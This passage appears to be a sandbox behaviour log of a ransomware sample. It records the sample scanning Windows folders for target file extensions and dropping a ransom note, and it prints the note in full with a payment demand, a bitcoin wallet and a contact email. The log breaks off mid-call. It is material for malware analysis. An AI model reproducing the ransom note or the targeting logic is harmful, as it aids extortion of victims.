(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0111.032] lstrlenA (lpString="*.rar") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0111.032] lstrlenA (lpString="*.zip") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.html") returned 0 [0111.032] lstrlenA (lpString="*.html") returned 6 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0111.032] lstrlenA (lpString="*.htm") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.032] lstrlenA (lpString="*.xlsx") returned 6 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0111.033] lstrlenA (lpString="*.xls") returned 5 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.033] lstrlenA (lpString="*.mp4") returned 5 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.033] lstrlenA (lpString="*.ppt") returned 5 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.033] lstrlenA (lpString="*.pptx") returned 6 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0111.033] lstrlenA (lpString="*.doc") returned 5 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0111.033] lstrlenA (lpString="*.dot") returned 5 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0111.033] lstrlenA (lpString="*.docx") returned 6 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0111.033] lstrlenA (lpString="*.7z") returned 4 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0111.033] lstrlenA (lpString="*.tar") returned 5 [0111.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.033] lstrlenA (lpString="*.bz2") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0111.034] lstrlenA (lpString="*.gz") returned 4 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.034] lstrlenA (lpString="*.mkv") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.034] lstrlenA (lpString="*.eml") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0111.034] lstrlenA (lpString="*.msg") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0111.034] lstrlenA (lpString="*.edb") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.034] lstrlenA (lpString="*.accdb") returned 7 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0111.034] lstrlenA (lpString="*.odb") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.java") returned 0 [0111.034] lstrlenA (lpString="*.java") returned 6 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0111.034] lstrlenA (lpString="*.asm") returned 5 [0111.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.035] lstrlenA (lpString="*.pfx") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0111.035] lstrlenA (lpString="*.pem") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0111.035] lstrlenA (lpString="*.p12") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.035] lstrlenA (lpString="*.gpg") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.035] lstrlenA (lpString="*.vsd") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0111.035] lstrlenA (lpString="*.odg") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0111.035] lstrlenA (lpString="*.raw") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0111.035] lstrlenA (lpString="*.nef") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0111.035] lstrlenA (lpString="*.svg") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0111.035] lstrlenA (lpString="*.psd") returned 5 [0111.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.036] lstrlenA (lpString="*.vmx") returned 5 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.036] lstrlenA (lpString="*.vmdk") returned 6 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.036] lstrlenA (lpString="*.vdi") returned 5 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.036] lstrlenA (lpString="*.lay6") returned 6 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.036] lstrlenA (lpString="*.mpeg") returned 6 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.036] lstrlenA (lpString="*.djvu") returned 6 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.036] lstrlenA (lpString="*.tiff") returned 6 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0111.036] lstrlenA (lpString="*.backup") returned 8 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.036] lstrlenA (lpString="*.pdf") returned 5 [0111.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0111.036] lstrlenA (lpString="*.cert") returned 6 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0111.037] lstrlenA (lpString="*.docm") returned 6 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.037] lstrlenA (lpString="*.xlsm") returned 6 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.037] lstrlenA (lpString="*.dwg") returned 5 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0111.037] lstrlenA (lpString="*.nd") returned 4 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.037] lstrlenA (lpString="*.tlg") returned 5 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.037] lstrlenA (lpString="*.lgb") returned 5 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0111.037] lstrlenA (lpString="*.mov") returned 5 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.037] lstrlenA (lpString="*.xdw") returned 5 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0111.037] lstrlenA (lpString="*.ods") returned 5 [0111.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0111.037] lstrlenA (lpString="*.wav") returned 5 [0111.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.038] lstrlenA (lpString="*.mp3") returned 5 [0111.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.038] lstrlenA (lpString="*.aiff") returned 6 [0111.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0111.038] lstrlenA (lpString="*.flac") returned 6 [0111.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.038] lstrlenA (lpString="*.m4a") returned 5 [0111.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0111.038] lstrlenA (lpString="*.csv") returned 5 [0111.038] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d5f82d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d5f82d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d5f82d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.039] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.039] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72d45880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72d45880, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72d45880, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="afcd585a869a8fe93f7113457fdafe46", cAlternateFileName="AFCD58~1")) returned 1 [0111.039] lstrcmpA (lpString1=".", lpString2="afcd585a869a8fe93f7113457fdafe46") returned -1 [0111.039] lstrcmpA (lpString1="..", lpString2="afcd585a869a8fe93f7113457fdafe46") returned -1 [0111.039] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.039] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="afcd585a869a8fe93f7113457fdafe46" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46" [0111.039] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46") returned 100 [0111.039] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72d45880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72d45880, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72d45880, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.044] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.044] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72d45880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72d45880, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72d45880, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.044] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.044] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.044] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d1f720, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72d1f720, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72d1f720, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xe9800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.044] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.044] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned -1 [0111.044] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned -1 [0111.044] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned -1 [0111.044] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\*.*") returned="*.*" [0111.044] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\" [0111.044] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\") returned="" [0111.044] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\HOW TO DECRYPT FILES.txt" [0111.045] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\afcd585a869a8fe93f7113457fdafe46\\how to decrypt files.txt")) returned 0xffffffff [0111.046] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\afcd585a869a8fe93f7113457fdafe46\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.067] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.068] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.070] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.070] CloseHandle (hObject=0x90) returned 1 [0111.070] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll" | out: 